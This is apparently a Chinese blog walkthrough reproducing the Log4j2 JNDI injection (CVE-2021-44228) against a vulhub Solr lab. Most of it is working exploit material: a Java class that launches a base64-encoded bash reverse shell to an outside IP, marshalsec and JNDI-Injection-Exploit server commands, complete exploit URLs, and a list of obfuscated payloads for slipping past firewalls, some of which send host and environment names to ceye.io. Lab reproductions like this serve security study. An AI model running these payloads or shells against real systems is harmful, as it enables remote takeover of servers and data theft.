0%

log4j2

log4j2

什么是log4j2

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码

log4j2 jndi注入复现(CVE-2021-44228)

利用是搭建的vulhub靶场

1
2
3
4
5
6
7
8
9
git clone https://github.com/vulhub/vulhub.git//拉取镜像
//然后进入vulhb目录就可以看到不同的漏洞了
进入log4j/CVE-2021-44228
docker-compose up -d//开启靶场
docker-compose ps//查看端口号
ifconfig查看IP后加上端口号就进入了

文件路径在/usr/local

image.png

接下来进行漏洞探测

image.png

url上面发同样的payload不知道为什么dnslog没有反应,换了一种方法,利用工具postman来发

image.png

回显了Java的版本1.8.0_102,这样我们就可以探测出是存在漏洞点的,payload:?action=${jndi:ldap://${sys:java.version}.7zw40l.dnslog.cn}

漏洞利用

打反弹shell

image.png

对命令进行编码

[bookmarklink]

法1,Java反序列化

然后就可以写我们的exp

1
2
3
4
5
6
7
8
9
10
11
12
public class Exp {
public Exp(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguMjMuMTQ4LjUxLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exp e = new Exp();
}
}

image.png

将编写好的脚本上传到攻击机上去

image.png

进入我们存放class文件的目录下,运行python3 -m http.server 4444,将class文件映射出来

image.png

下载工具编译jar包

git clone https://github.com/mbechler/marshalsec.git

进入marshalsec目录,运行mvn clean package -Dmaven.test.skip=true

进入target文件中运行下面的命令

使用marshalsec工具,开启RMI服务,监听1389端口,并指向我们恶意代码文件地址

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://198.23.148.51:4444/#Exp" 1389

payloadhttp://198.23.148.51:8983/solr/admin/cores?action=${jndi:ldap://198.23.148.51:1389/Exp}GET传参即可

image.png

监听反弹shell端口

image.png

ldap监听情况

image.png

开放的4444端口情况

image.png

反弹shell也收到了

image.png

法2

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

利用工具JNDI-Injection-Exploit,在虚拟机上面下载好,环境需求Java,Maven

然后配置好环境,安装好后进入JNDI-Injection-Exploit文件内,运行命令mvn clean package -DskipTests,在target文件夹生成.jar文件

1
2
3
4
5
6
7
8
9
原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "转化后的bash编码命令" -A "攻击机/监听机/本机"

反弹shell的命令(编码前)
bash -i >& /dev/tcp/198.23.148.51/7777 0>&1
反弹shell的命令(编码后)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguMjMuMTQ4LjUxLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguMjMuMTQ4LjUxLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "198.23.148.51"

image.png

payload:访问http://198.23.148.51:8983/solr/admin/cores?action=${jndi:rmi://198.23.148.51:1099/br9bad}//选择这个的原因是我们一开始dns得到的版本是JDK1.8

或者http://198.23.148.51:8983/solr/admin/cores?action=${jndi:ldap://198.23.148.51:1099/br9bad}

image.png

image.png

成功获取shell

log4j解析${}存在递归操作实现绕过防火墙

假如传入的是${11111${222222}333333},他会先执行${222222}然后将数据替换回去,变成${11111XXXXXX333333}来继续执行,所以执行的顺序是从里到外

可以通过log4j2的代码特性来实现对防火墙的绕过操作

相关变形payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io

来看一下这个例子的解析${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}

从里到外,因此会先执行${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a,接着就是递归调用,处理${::-j},${::-n}这样的字符串

传入的就是::-j,由于他没有了相关的标识符${},所以就直接进行了解析操作,因为:-作为分隔,所以主键是:,值是j,接着就会把${::-j}字符串替换为j,以此类推,最终获得的字符串就是jndi:rmi://ceye.io/a


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/tgmkudnrof4tahvl
语雀文档ID: 191953074